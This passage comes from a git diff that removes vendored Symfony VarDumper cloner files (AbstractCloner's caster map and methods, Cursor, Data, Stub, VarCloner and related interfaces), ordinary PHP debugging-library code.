['Symfony\Component\VarDumper\Caster\SplCaster', 'castWeakReference'], - - 'Redis' => ['Symfony\Component\VarDumper\Caster\RedisCaster', 'castRedis'], - 'RedisArray' => ['Symfony\Component\VarDumper\Caster\RedisCaster', 'castRedisArray'], - 'RedisCluster' => ['Symfony\Component\VarDumper\Caster\RedisCaster', 'castRedisCluster'], - - 'DateTimeInterface' => ['Symfony\Component\VarDumper\Caster\DateCaster', 'castDateTime'], - 'DateInterval' => ['Symfony\Component\VarDumper\Caster\DateCaster', 'castInterval'], - 'DateTimeZone' => ['Symfony\Component\VarDumper\Caster\DateCaster', 'castTimeZone'], - 'DatePeriod' => ['Symfony\Component\VarDumper\Caster\DateCaster', 'castPeriod'], - - 'GMP' => ['Symfony\Component\VarDumper\Caster\GmpCaster', 'castGmp'], - - 'MessageFormatter' => ['Symfony\Component\VarDumper\Caster\IntlCaster', 'castMessageFormatter'], - 'NumberFormatter' => ['Symfony\Component\VarDumper\Caster\IntlCaster', 'castNumberFormatter'], - 'IntlTimeZone' => ['Symfony\Component\VarDumper\Caster\IntlCaster', 'castIntlTimeZone'], - 'IntlCalendar' => ['Symfony\Component\VarDumper\Caster\IntlCaster', 'castIntlCalendar'], - 'IntlDateFormatter' => ['Symfony\Component\VarDumper\Caster\IntlCaster', 'castIntlDateFormatter'], - - 'Memcached' => ['Symfony\Component\VarDumper\Caster\MemcachedCaster', 'castMemcached'], - - 'Ds\Collection' => ['Symfony\Component\VarDumper\Caster\DsCaster', 'castCollection'], - 'Ds\Map' => ['Symfony\Component\VarDumper\Caster\DsCaster', 'castMap'], - 'Ds\Pair' => ['Symfony\Component\VarDumper\Caster\DsCaster', 'castPair'], - 'Symfony\Component\VarDumper\Caster\DsPairStub' => ['Symfony\Component\VarDumper\Caster\DsCaster', 'castPairStub'], - - 'CurlHandle' => ['Symfony\Component\VarDumper\Caster\ResourceCaster', 'castCurl'], - ':curl' => ['Symfony\Component\VarDumper\Caster\ResourceCaster', 'castCurl'], - - ':dba' => ['Symfony\Component\VarDumper\Caster\ResourceCaster', 'castDba'], - ':dba persistent' => ['Symfony\Component\VarDumper\Caster\ResourceCaster', 'castDba'], - ':gd' => ['Symfony\Component\VarDumper\Caster\ResourceCaster', 'castGd'], - ':mysql link' => ['Symfony\Component\VarDumper\Caster\ResourceCaster', 'castMysqlLink'], - ':pgsql large object' => ['Symfony\Component\VarDumper\Caster\PgSqlCaster', 'castLargeObject'], - ':pgsql link' => ['Symfony\Component\VarDumper\Caster\PgSqlCaster', 'castLink'], - ':pgsql link persistent' => ['Symfony\Component\VarDumper\Caster\PgSqlCaster', 'castLink'], - ':pgsql result' => ['Symfony\Component\VarDumper\Caster\PgSqlCaster', 'castResult'], - ':process' => ['Symfony\Component\VarDumper\Caster\ResourceCaster', 'castProcess'], - ':stream' => ['Symfony\Component\VarDumper\Caster\ResourceCaster', 'castStream'], - ':OpenSSL X.509' => ['Symfony\Component\VarDumper\Caster\ResourceCaster', 'castOpensslX509'], - ':persistent stream' => ['Symfony\Component\VarDumper\Caster\ResourceCaster', 'castStream'], - ':stream-context' => ['Symfony\Component\VarDumper\Caster\ResourceCaster', 'castStreamContext'], - ':xml' => ['Symfony\Component\VarDumper\Caster\XmlResourceCaster', 'castXml'], - ]; - - protected $maxItems = 2500; - protected $maxString = -1; - protected $minDepth = 1; - - private $casters = []; - private $prevErrorHandler; - private $classInfo = []; - private $filter = 0; - - /** - * @param callable[]|null $casters A map of casters - * - * @see addCasters - */ - public function __construct(array $casters = null) - { - if (null === $casters) { - $casters = static::$defaultCasters; - } - $this->addCasters($casters); - } - - /** - * Adds casters for resources and objects. - * - * Maps resources or objects types to a callback. - * Types are in the key, with a callable caster for value. - * Resource types are to be prefixed with a `:`, - * see e.g. static::$defaultCasters. - * - * @param callable[] $casters A map of casters - */ - public function addCasters(array $casters) - { - foreach ($casters as $type => $callback) { - $this->casters[$type][] = $callback; - } - } - - /** - * Sets the maximum number of items to clone past the minimum depth in nested structures. - * - * @param int $maxItems - */ - public function setMaxItems($maxItems) - { - $this->maxItems = (int) $maxItems; - } - - /** - * Sets the maximum cloned length for strings. - * - * @param int $maxString - */ - public function setMaxString($maxString) - { - $this->maxString = (int) $maxString; - } - - /** - * Sets the minimum tree depth where we are guaranteed to clone all the items. After this - * depth is reached, only setMaxItems items will be cloned. - * - * @param int $minDepth - */ - public function setMinDepth($minDepth) - { - $this->minDepth = (int) $minDepth; - } - - /** - * Clones a PHP variable. - * - * @param mixed $var Any PHP variable - * @param int $filter A bit field of Caster::EXCLUDE_* constants - * - * @return Data The cloned variable represented by a Data object - */ - public function cloneVar($var, $filter = 0) - { - $this->prevErrorHandler = set_error_handler(function ($type, $msg, $file, $line, $context = []) { - if (\E_RECOVERABLE_ERROR === $type || \E_USER_ERROR === $type) { - // Cloner never dies - throw new \ErrorException($msg, 0, $type, $file, $line); - } - - if ($this->prevErrorHandler) { - return ($this->prevErrorHandler)($type, $msg, $file, $line, $context); - } - - return false; - }); - $this->filter = $filter; - - if ($gc = gc_enabled()) { - gc_disable(); - } - try { - return new Data($this->doClone($var)); - } finally { - if ($gc) { - gc_enable(); - } - restore_error_handler(); - $this->prevErrorHandler = null; - } - } - - /** - * Effectively clones the PHP variable. - * - * @param mixed $var Any PHP variable - * - * @return array The cloned variable represented in an array - */ - abstract protected function doClone($var); - - /** - * Casts an object to an array representation. - * - * @param bool $isNested True if the object is nested in the dumped structure - * - * @return array The object casted as array - */ - protected function castObject(Stub $stub, $isNested) - { - $obj = $stub->value; - $class = $stub->class; - - if (\PHP_VERSION_ID < 80000 ? "\0" === ($class[15] ?? null) : false !== strpos($class, "@anonymous\0")) { - $stub->class = get_debug_type($obj); - } - if (isset($this->classInfo[$class])) { - list($i, $parents, $hasDebugInfo, $fileInfo) = $this->classInfo[$class]; - } else { - $i = 2; - $parents = [$class]; - $hasDebugInfo = method_exists($class, '__debugInfo'); - - foreach (class_parents($class) as $p) { - $parents[] = $p; - ++$i; - } - foreach (class_implements($class) as $p) { - $parents[] = $p; - ++$i; - } - $parents[] = '*'; - - $r = new \ReflectionClass($class); - $fileInfo = $r->isInternal() || $r->isSubclassOf(Stub::class) ? [] : [ - 'file' => $r->getFileName(), - 'line' => $r->getStartLine(), - ]; - - $this->classInfo[$class] = [$i, $parents, $hasDebugInfo, $fileInfo]; - } - - $stub->attr += $fileInfo; - $a = Caster::castObject($obj, $class, $hasDebugInfo, $stub->class); - - try { - while ($i--) { - if (!empty($this->casters[$p = $parents[$i]])) { - foreach ($this->casters[$p] as $callback) { - $a = $callback($obj, $a, $stub, $isNested, $this->filter); - } - } - } - } catch (\Exception $e) { - $a = [(Stub::TYPE_OBJECT === $stub->type ? Caster::PREFIX_VIRTUAL : '').'⚠' => new ThrowingCasterException($e)] + $a; - } - - return $a; - } - - /** - * Casts a resource to an array representation. - * - * @param bool $isNested True if the object is nested in the dumped structure - * - * @return array The resource casted as array - */ - protected function castResource(Stub $stub, $isNested) - { - $a = []; - $res = $stub->value; - $type = $stub->class; - - try { - if (!empty($this->casters[':'.$type])) { - foreach ($this->casters[':'.$type] as $callback) { - $a = $callback($res, $a, $stub, $isNested, $this->filter); - } - } - } catch (\Exception $e) { - $a = [(Stub::TYPE_OBJECT === $stub->type ? Caster::PREFIX_VIRTUAL : '').'⚠' => new ThrowingCasterException($e)] + $a; - } - - return $a; - } -} diff --git a/vendor/symfony/var-dumper/Cloner/ClonerInterface.php b/vendor/symfony/var-dumper/Cloner/ClonerInterface.php deleted file mode 100644 index 7ed287a..0000000 --- a/vendor/symfony/var-dumper/Cloner/ClonerInterface.php +++ /dev/null @@ -1,27 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Cloner; - -/** - * @author Nicolas Grekas - */ -interface ClonerInterface -{ - /** - * Clones a PHP variable. - * - * @param mixed $var Any PHP variable - * - * @return Data The cloned variable represented by a Data object - */ - public function cloneVar($var); -} diff --git a/vendor/symfony/var-dumper/Cloner/Cursor.php b/vendor/symfony/var-dumper/Cloner/Cursor.php deleted file mode 100644 index 5b0542f..0000000 --- a/vendor/symfony/var-dumper/Cloner/Cursor.php +++ /dev/null @@ -1,43 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Cloner; - -/** - * Represents the current state of a dumper while dumping. - * - * @author Nicolas Grekas - */ -class Cursor -{ - const HASH_INDEXED = Stub::ARRAY_INDEXED; - const HASH_ASSOC = Stub::ARRAY_ASSOC; - const HASH_OBJECT = Stub::TYPE_OBJECT; - const HASH_RESOURCE = Stub::TYPE_RESOURCE; - - public $depth = 0; - public $refIndex = 0; - public $softRefTo = 0; - public $softRefCount = 0; - public $softRefHandle = 0; - public $hardRefTo = 0; - public $hardRefCount = 0; - public $hardRefHandle = 0; - public $hashType; - public $hashKey; - public $hashKeyIsBinary; - public $hashIndex = 0; - public $hashLength = 0; - public $hashCut = 0; - public $stop = false; - public $attr = []; - public $skipChildren = false; -} diff --git a/vendor/symfony/var-dumper/Cloner/Data.php b/vendor/symfony/var-dumper/Cloner/Data.php deleted file mode 100644 index 52d86ed..0000000 --- a/vendor/symfony/var-dumper/Cloner/Data.php +++ /dev/null @@ -1,455 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Cloner; - -use Symfony\Component\VarDumper\Caster\Caster; -use Symfony\Component\VarDumper\Dumper\ContextProvider\SourceContextProvider; - -/** - * @author Nicolas Grekas - */ -class Data implements \ArrayAccess, \Countable, \IteratorAggregate -{ - private $data; - private $position = 0; - private $key = 0; - private $maxDepth = 20; - private $maxItemsPerDepth = -1; - private $useRefHandles = -1; - private $context = []; - - /** - * @param array $data An array as returned by ClonerInterface::cloneVar() - */ - public function __construct(array $data) - { - $this->data = $data; - } - - /** - * @return string|null The type of the value - */ - public function getType() - { - $item = $this->data[$this->position][$this->key]; - - if ($item instanceof Stub && Stub::TYPE_REF === $item->type && !$item->position) { - $item = $item->value; - } - if (!$item instanceof Stub) { - return \gettype($item); - } - if (Stub::TYPE_STRING === $item->type) { - return 'string'; - } - if (Stub::TYPE_ARRAY === $item->type) { - return 'array'; - } - if (Stub::TYPE_OBJECT === $item->type) { - return $item->class; - } - if (Stub::TYPE_RESOURCE === $item->type) { - return $item->class.' resource'; - } - - return null; - } - - /** - * @param array|bool $recursive Whether values should be resolved recursively or not - * - * @return string|int|float|bool|array|Data[]|null A native representation of the original value - */ - public function getValue($recursive = false) - { - $item = $this->data[$this->position][$this->key]; - - if ($item instanceof Stub && Stub::TYPE_REF === $item->type && !$item->position) { - $item = $item->value; - } - if (!($item = $this->getStub($item)) instanceof Stub) { - return $item; - } - if (Stub::TYPE_STRING === $item->type) { - return $item->value; - } - - $children = $item->position ? $this->data[$item->position] : []; - - foreach ($children as $k => $v) { - if ($recursive && !($v = $this->getStub($v)) instanceof Stub) { - continue; - } - $children[$k] = clone $this; - $children[$k]->key = $k; - $children[$k]->position = $item->position; - - if ($recursive) { - if (Stub::TYPE_REF === $v->type && ($v = $this->getStub($v->value)) instanceof Stub) { - $recursive = (array) $recursive; - if (isset($recursive[$v->position])) { - continue; - } - $recursive[$v->position] = true; - } - $children[$k] = $children[$k]->getValue($recursive); - } - } - - return $children; - } - - /** - * @return int - */ - public function count() - { - return \count($this->getValue()); - } - - /** - * @return \Traversable - */ - public function getIterator() - { - if (!\is_array($value = $this->getValue())) { - throw new \LogicException(sprintf('"%s" object holds non-iterable type "%s".', self::class, \gettype($value))); - } - - yield from $value; - } - - public function __get($key) - { - if (null !== $data = $this->seek($key)) { - $item = $this->getStub($data->data[$data->position][$data->key]); - - return $item instanceof Stub || [] === $item ? $data : $item; - } - - return null; - } - - /** - * @return bool - */ - public function __isset($key) - { - return null !== $this->seek($key); - } - - /** - * @return bool - */ - public function offsetExists($key) - { - return $this->__isset($key); - } - - public function offsetGet($key) - { - return $this->__get($key); - } - - public function offsetSet($key, $value) - { - throw new \BadMethodCallException(self::class.' objects are immutable.'); - } - - public function offsetUnset($key) - { - throw new \BadMethodCallException(self::class.' objects are immutable.'); - } - - /** - * @return string - */ - public function __toString() - { - $value = $this->getValue(); - - if (!\is_array($value)) { - return (string) $value; - } - - return sprintf('%s (count=%d)', $this->getType(), \count($value)); - } - - /** - * Returns a depth limited clone of $this. - * - * @param int $maxDepth The max dumped depth level - * - * @return static - */ - public function withMaxDepth($maxDepth) - { - $data = clone $this; - $data->maxDepth = (int) $maxDepth; - - return $data; - } - - /** - * Limits the number of elements per depth level. - * - * @param int $maxItemsPerDepth The max number of items dumped per depth level - * - * @return static - */ - public function withMaxItemsPerDepth($maxItemsPerDepth) - { - $data = clone $this; - $data->maxItemsPerDepth = (int) $maxItemsPerDepth; - - return $data; - } - - /** - * Enables/disables objects' identifiers tracking. - * - * @param bool $useRefHandles False to hide global ref. handles - * - * @return static - */ - public function withRefHandles($useRefHandles) - { - $data = clone $this; - $data->useRefHandles = $useRefHandles ? -1 : 0; - - return $data; - } - - /** - * @return static - */ - public function withContext(array $context) - { - $data = clone $this; - $data->context = $context; - - return $data; - } - - /** - * Seeks to a specific key in nested data structures. - * - * @param string|int $key The key to seek to - * - * @return static|null Null if the key is not set - */ - public function seek($key) - { - $item = $this->data[$this->position][$this->key]; - - if ($item instanceof Stub && Stub::TYPE_REF === $item->type && !$item->position) { - $item = $item->value; - } - if (!($item = $this->getStub($item)) instanceof Stub || !$item->position) { - return null; - } - $keys = [$key]; - - switch ($item->type) { - case Stub::TYPE_OBJECT: - $keys[] = Caster::PREFIX_DYNAMIC.$key; - $keys[] = Caster::PREFIX_PROTECTED.$key; - $keys[] = Caster::PREFIX_VIRTUAL.$key; - $keys[] = "\0$item->class\0$key"; - // no break - case Stub::TYPE_ARRAY: - case Stub::TYPE_RESOURCE: - break; - default: - return null; - } - - $data = null; - $children = $this->data[$item->position]; - - foreach ($keys as $key) { - if (isset($children[$key]) || \array_key_exists($key, $children)) { - $data = clone $this; - $data->key = $key; - $data->position = $item->position; - break; - } - } - - return $data; - } - - /** - * Dumps data with a DumperInterface dumper. - */ - public function dump(DumperInterface $dumper) - { - $refs = [0]; - $cursor = new Cursor(); - - if ($cursor->attr = $this->context[SourceContextProvider::class] ?? []) { - $cursor->attr['if_links'] = true; - $cursor->hashType = -1; - $dumper->dumpScalar($cursor, 'default', '^'); - $cursor->attr = ['if_links' => true]; - $dumper->dumpScalar($cursor, 'default', ' '); - $cursor->hashType = 0; - } - - $this->dumpItem($dumper, $cursor, $refs, $this->data[$this->position][$this->key]); - } - - /** - * Depth-first dumping of items. - * - * @param mixed $item A Stub object or the original value being dumped - */ - private function dumpItem(DumperInterface $dumper, Cursor $cursor, array &$refs, $item) - { - $cursor->refIndex = 0; - $cursor->softRefTo = $cursor->softRefHandle = $cursor->softRefCount = 0; - $cursor->hardRefTo = $cursor->hardRefHandle = $cursor->hardRefCount = 0; - $firstSeen = true; - - if (!$item instanceof Stub) { - $cursor->attr = []; - $type = \gettype($item); - if ($item && 'array' === $type) { - $item = $this->getStub($item); - } - } elseif (Stub::TYPE_REF === $item->type) { - if ($item->handle) { - if (!isset($refs[$r = $item->handle - (\PHP_INT_MAX >> 1)])) { - $cursor->refIndex = $refs[$r] = $cursor->refIndex ?: ++$refs[0]; - } else { - $firstSeen = false; - } - $cursor->hardRefTo = $refs[$r]; - $cursor->hardRefHandle = $this->useRefHandles & $item->handle; - $cursor->hardRefCount = $item->refCount; - } - $cursor->attr = $item->attr; - $type = $item->class ?: \gettype($item->value); - $item = $this->getStub($item->value); - } - if ($item instanceof Stub) { - if ($item->refCount) { - if (!isset($refs[$r = $item->handle])) { - $cursor->refIndex = $refs[$r] = $cursor->refIndex ?: ++$refs[0]; - } else { - $firstSeen = false; - } - $cursor->softRefTo = $refs[$r]; - } - $cursor->softRefHandle = $this->useRefHandles & $item->handle; - $cursor->softRefCount = $item->refCount; - $cursor->attr = $item->attr; - $cut = $item->cut; - - if ($item->position && $firstSeen) { - $children = $this->data[$item->position]; - - if ($cursor->stop) { - if ($cut >= 0) { - $cut += \count($children); - } - $children = []; - } - } else { - $children = []; - } - switch ($item->type) { - case Stub::TYPE_STRING: - $dumper->dumpString($cursor, $item->value, Stub::STRING_BINARY === $item->class, $cut); - break; - - case Stub::TYPE_ARRAY: - $item = clone $item; - $item->type = $item->class; - $item->class = $item->value; - // no break - case Stub::TYPE_OBJECT: - case Stub::TYPE_RESOURCE: - $withChildren = $children && $cursor->depth !== $this->maxDepth && $this->maxItemsPerDepth; - $dumper->enterHash($cursor, $item->type, $item->class, $withChildren); - if ($withChildren) { - if ($cursor->skipChildren) { - $withChildren = false; - $cut = -1; - } else { - $cut = $this->dumpChildren($dumper, $cursor, $refs, $children, $cut, $item->type, null !== $item->class); - } - } elseif ($children && 0 <= $cut) { - $cut += \count($children); - } - $cursor->skipChildren = false; - $dumper->leaveHash($cursor, $item->type, $item->class, $withChildren, $cut); - break; - - default: - throw new \RuntimeException(sprintf('Unexpected Stub type: "%s".', $item->type)); - } - } elseif ('array' === $type) { - $dumper->enterHash($cursor, Cursor::HASH_INDEXED, 0, false); - $dumper->leaveHash($cursor, Cursor::HASH_INDEXED, 0, false, 0); - } elseif ('string' === $type) { - $dumper->dumpString($cursor, $item, false, 0); - } else { - $dumper->dumpScalar($cursor, $type, $item); - } - } - - /** - * Dumps children of hash structures. - * - * @return int The final number of removed items - */ - private function dumpChildren(DumperInterface $dumper, Cursor $parentCursor, array &$refs, array $children, int $hashCut, int $hashType, bool $dumpKeys): int - { - $cursor = clone $parentCursor; - ++$cursor->depth; - $cursor->hashType = $hashType; - $cursor->hashIndex = 0; - $cursor->hashLength = \count($children); - $cursor->hashCut = $hashCut; - foreach ($children as $key => $child) { - $cursor->hashKeyIsBinary = isset($key[0]) && !preg_match('//u', $key); - $cursor->hashKey = $dumpKeys ? $key : null; - $this->dumpItem($dumper, $cursor, $refs, $child); - if (++$cursor->hashIndex === $this->maxItemsPerDepth || $cursor->stop) { - $parentCursor->stop = true; - - return $hashCut >= 0 ? $hashCut + $cursor->hashLength - $cursor->hashIndex : $hashCut; - } - } - - return $hashCut; - } - - private function getStub($item) - { - if (!$item || !\is_array($item)) { - return $item; - } - - $stub = new Stub(); - $stub->type = Stub::TYPE_ARRAY; - foreach ($item as $stub->class => $stub->position) { - } - if (isset($item[0])) { - $stub->cut = $item[0]; - } - $stub->value = $stub->cut + ($stub->position ? \count($this->data[$stub->position]) : 0); - - return $stub; - } -} diff --git a/vendor/symfony/var-dumper/Cloner/DumperInterface.php b/vendor/symfony/var-dumper/Cloner/DumperInterface.php deleted file mode 100644 index ec8ef27..0000000 --- a/vendor/symfony/var-dumper/Cloner/DumperInterface.php +++ /dev/null @@ -1,56 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Cloner; - -/** - * DumperInterface used by Data objects. - * - * @author Nicolas Grekas - */ -interface DumperInterface -{ - /** - * Dumps a scalar value. - * - * @param string $type The PHP type of the value being dumped - * @param string|int|float|bool $value The scalar value being dumped - */ - public function dumpScalar(Cursor $cursor, $type, $value); - - /** - * Dumps a string. - * - * @param string $str The string being dumped - * @param bool $bin Whether $str is UTF-8 or binary encoded - * @param int $cut The number of characters $str has been cut by - */ - public function dumpString(Cursor $cursor, $str, $bin, $cut); - - /** - * Dumps while entering an hash. - * - * @param int $type A Cursor::HASH_* const for the type of hash - * @param string|int $class The object class, resource type or array count - * @param bool $hasChild When the dump of the hash has child item - */ - public function enterHash(Cursor $cursor, $type, $class, $hasChild); - - /** - * Dumps while leaving an hash. - * - * @param int $type A Cursor::HASH_* const for the type of hash - * @param string|int $class The object class, resource type or array count - * @param bool $hasChild When the dump of the hash has child item - * @param int $cut The number of items the hash has been cut by - */ - public function leaveHash(Cursor $cursor, $type, $class, $hasChild, $cut); -} diff --git a/vendor/symfony/var-dumper/Cloner/Stub.php b/vendor/symfony/var-dumper/Cloner/Stub.php deleted file mode 100644 index 7f6d05d..0000000 --- a/vendor/symfony/var-dumper/Cloner/Stub.php +++ /dev/null @@ -1,67 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Cloner; - -/** - * Represents the main properties of a PHP variable. - * - * @author Nicolas Grekas - */ -class Stub -{ - const TYPE_REF = 1; - const TYPE_STRING = 2; - const TYPE_ARRAY = 3; - const TYPE_OBJECT = 4; - const TYPE_RESOURCE = 5; - - const STRING_BINARY = 1; - const STRING_UTF8 = 2; - - const ARRAY_ASSOC = 1; - const ARRAY_INDEXED = 2; - - public $type = self::TYPE_REF; - public $class = ''; - public $value; - public $cut = 0; - public $handle = 0; - public $refCount = 0; - public $position = 0; - public $attr = []; - - private static $defaultProperties = []; - - /** - * @internal - */ - public function __sleep(): array - { - $properties = []; - - if (!isset(self::$defaultProperties[$c = static::class])) { - self::$defaultProperties[$c] = get_class_vars($c); - - foreach ((new \ReflectionClass($c))->getStaticProperties() as $k => $v) { - unset(self::$defaultProperties[$c][$k]); - } - } - - foreach (self::$defaultProperties[$c] as $k => $v) { - if ($this->$k !== $v) { - $properties[] = $k; - } - } - - return $properties; - } -} diff --git a/vendor/symfony/var-dumper/Cloner/VarCloner.php b/vendor/symfony/var-dumper/Cloner/VarCloner.php deleted file mode 100644 index fad05f6..0000000 --- a/vendor/symfony/var-dumper/Cloner/VarCloner.php +++ /dev/null @@ -1,301 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Cloner; - -/** - * @author Nicolas Grekas - */ -class VarCloner extends AbstractCloner -{ - private static $gid; - private static $arrayCache = []; - - /** - * {@inheritdoc} - */ - protected function doClone($var) - { - $len = 1; // Length of $queue - $pos = 0; // Number of cloned items past the minimum depth - $refsCounter = 0; // Hard references counter - $queue = [[$var]]; // This breadth-first queue is the return value - $indexedArrays = []; // Map of queue indexes that hold numerically indexed arrays - $hardRefs = []; // Map of original zval ids to stub objects - $objRefs = []; // Map of original object handles to their stub object counterpart - $objects = []; // Keep a ref to objects to ensure their handle cannot be reused while cloning - $resRefs = []; // Map of original resource handles to their stub object counterpart - $values = []; // Map of stub objects' ids to original values - $maxItems = $this->maxItems; - $maxString = $this->maxString; - $minDepth = $this->minDepth; - $currentDepth = 0; // Current tree depth - $currentDepthFinalIndex = 0; // Final $queue index for current tree depth - $minimumDepthReached = 0 === $minDepth; // Becomes true when minimum tree depth has been reached - $cookie = (object) []; // Unique object used to detect hard references - $a = null; // Array cast for nested structures - $stub = null; // Stub capturing the main properties of an original item value - // or null if the original value is used directly - - if (!$gid = self::$gid) { - $gid = self::$gid = md5(random_bytes(6)); // Unique string used to detect the special $GLOBALS variable - } - $arrayStub = new Stub(); - $arrayStub->type = Stub::TYPE_ARRAY; - $fromObjCast = false; - - for ($i = 0; $i < $len; ++$i) { - // Detect when we move on to the next tree depth - if ($i > $currentDepthFinalIndex) { - ++$currentDepth; - $currentDepthFinalIndex = $len - 1; - if ($currentDepth >= $minDepth) { - $minimumDepthReached = true; - } - } - - $refs = $vals = $queue[$i]; - if (\PHP_VERSION_ID < 70200 && empty($indexedArrays[$i])) { - // see https://wiki.php.net/rfc/convert_numeric_keys_in_object_array_casts - foreach ($vals as $k => $v) { - if (\is_int($k)) { - continue; - } - foreach ([$k => true] as $gk => $gv) { - } - if ($gk !== $k) { - $fromObjCast = true; - $refs = $vals = array_values($queue[$i]); - break; - } - } - } - foreach ($vals as $k => $v) { - // $v is the original value or a stub object in case of hard references - - if (\PHP_VERSION_ID >= 70400) { - $zvalIsRef = null !== \ReflectionReference::fromArrayElement($vals, $k); - } else { - $refs[$k] = $cookie; - $zvalIsRef = $vals[$k] === $cookie; - } - - if ($zvalIsRef) { - $vals[$k] = &$stub; // Break hard references to make $queue completely - unset($stub); // independent from the original structure - if ($v instanceof Stub && isset($hardRefs[spl_object_id($v)])) { - $vals[$k] = $refs[$k] = $v; - if ($v->value instanceof Stub && (Stub::TYPE_OBJECT === $v->value->type || Stub::TYPE_RESOURCE === $v->value->type)) { - ++$v->value->refCount; - } - ++$v->refCount; - continue; - } - $refs[$k] = $vals[$k] = new Stub(); - $refs[$k]->value = $v; - $h = spl_object_id($refs[$k]); - $hardRefs[$h] = &$refs[$k]; - $values[$h] = $v; - $vals[$k]->handle = ++$refsCounter; - } - // Create $stub when the original value $v can not be used directly - // If $v is a nested structure, put that structure in array $a - switch (true) { - case null === $v: - case \is_bool($v): - case \is_int($v): - case \is_float($v): - continue 2; - case \is_string($v): - if ('' === $v) { - continue 2; - } - if (!preg_match('//u', $v)) { - $stub = new Stub(); - $stub->type = Stub::TYPE_STRING; - $stub->class = Stub::STRING_BINARY; - if (0 <= $maxString && 0 < $cut = \strlen($v) - $maxString) { - $stub->cut = $cut; - $stub->value = substr($v, 0, -$cut); - } else { - $stub->value = $v; - } - } elseif (0 <= $maxString && isset($v[1 + ($maxString >> 2)]) && 0 < $cut = mb_strlen($v, 'UTF-8') - $maxString) { - $stub = new Stub(); - $stub->type = Stub::TYPE_STRING; - $stub->class = Stub::STRING_UTF8; - $stub->cut = $cut; - $stub->value = mb_substr($v, 0, $maxString, 'UTF-8'); - } else { - continue 2; - } - $a = null; - break; - - case \is_array($v): - if (!$v) { - continue 2; - } - $stub = $arrayStub; - $stub->class = Stub::ARRAY_INDEXED; - - $j = -1; - foreach ($v as $gk => $gv) { - if ($gk !== ++$j) { - $stub->class = Stub::ARRAY_ASSOC; - break; - } - } - $a = $v; - - if (Stub::ARRAY_ASSOC === $stub->class) { - // Copies of $GLOBALS have very strange behavior, - // let's detect them with some black magic - $a[$gid] = true; - - // Happens with copies of $GLOBALS - if (isset($v[$gid])) { - unset($v[$gid]); - $a = []; - foreach ($v as $gk => &$gv) { - $a[$gk] = &$gv; - } - unset($gv); - } else { - $a = $v; - } - } elseif (\PHP_VERSION_ID < 70200) { - $indexedArrays[$len] = true; - } - break; - - case \is_object($v): - case $v instanceof \__PHP_Incomplete_Class: - if (empty($objRefs[$h = spl_object_id($v)])) { - $stub = new Stub(); - $stub->type = Stub::TYPE_OBJECT; - $stub->class = \get_class($v); - $stub->value = $v; - $stub->handle = $h; - $a = $this->castObject($stub, 0 < $i); - if ($v !== $stub->value) { - if (Stub::TYPE_OBJECT !== $stub->type || null === $stub->value) { - break; - } - $stub->handle = $h = spl_object_id($stub->value); - } - $stub->value = null; - if (0 <= $maxItems && $maxItems <= $pos && $minimumDepthReached) { - $stub->cut = \count($a); - $a = null; - } - } - if (empty($objRefs[$h])) { - $objRefs[$h] = $stub; - $objects[] = $v; - } else { - $stub = $objRefs[$h]; - ++$stub->refCount; - $a = null; - } - break; - - default: // resource - if (empty($resRefs[$h = (int) $v])) { - $stub = new Stub(); - $stub->type = Stub::TYPE_RESOURCE; - if ('Unknown' === $stub->class = @get_resource_type($v)) { - $stub->class = 'Closed'; - } - $stub->value = $v; - $stub->handle = $h; - $a = $this->castResource($stub, 0 < $i); - $stub->value = null; - if (0 <= $maxItems && $maxItems <= $pos && $minimumDepthReached) { - $stub->cut = \count($a); - $a = null; - } - } - if (empty($resRefs[$h])) { - $resRefs[$h] = $stub; - } else { - $stub = $resRefs[$h]; - ++$stub->refCount; - $a = null; - } - break; - } - - if ($a) { - if (!$minimumDepthReached || 0 > $maxItems) { - $queue[$len] = $a; - $stub->position = $len++; - } elseif ($pos < $maxItems) { - if ($maxItems < $pos += \count($a)) { - $a = \array_slice($a, 0, $maxItems - $pos, true); - if ($stub->cut >= 0) { - $stub->cut += $pos - $maxItems; - } - } - $queue[$len] = $a; - $stub->position = $len++; - } elseif ($stub->cut >= 0) { - $stub->cut += \count($a); - $stub->position = 0; - } - } - - if ($arrayStub === $stub) { - if ($arrayStub->cut) { - $stub = [$arrayStub->cut, $arrayStub->class => $arrayStub->position]; - $arrayStub->cut = 0; - } elseif (isset(self::$arrayCache[$arrayStub->class][$arrayStub->position])) { - $stub = self::$arrayCache[$arrayStub->class][$arrayStub->position]; - } else { - self::$arrayCache[$arrayStub->class][$arrayStub->position] = $stub = [$arrayStub->class => $arrayStub->position]; - } - } - - if ($zvalIsRef) { - $refs[$k]->value = $stub; - } else { - $vals[$k] = $stub; - } - } - - if ($fromObjCast) { - $fromObjCast = false; - $refs = $vals; - $vals = []; - $j = -1; - foreach ($queue[$i] as $k => $v) { - foreach ([$k => true] as $gk => $gv) { - } - if ($gk !== $k) { - $vals = (object) $vals; - $vals->{$k} = $refs[++$j]; - $vals = (array) $vals; - } else { - $vals[$k] = $refs[++$j]; - } - } - } - - $queue[$i] = $vals; - } - - foreach ($values as $h => $v) { - $hardRefs[$h] = $v; - } - - return $queue; - } -} diff --git a/vendor/symfony/var-dumper/Command/Descriptor/CliDescriptor.php b/vendor/symfony/var-dumper/Command/Descriptor/CliDescriptor.php deleted file mode 100644 index dc77d03..0000000 --- a/vendor/symfony/var-dumper/Command/Descriptor/CliDescriptor.php +++ /dev/null @@ -1,88 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Command\Descriptor; - -use Symfony\Component\Console\Formatter\OutputFormatterStyle; -use Symfony\Component\Console\Input\ArrayInput; -use Symfony\Component\Console\Output\OutputInterface; -use Symfony\Component\Console\Style\SymfonyStyle; -use Symfony\Component\VarDumper\Cloner\Data; -use Symfony\Component\VarDumper\Dumper\CliDumper; - -/** - * Describe collected data clones for cli output. - * - * @author Maxime Steinhausser - * - * 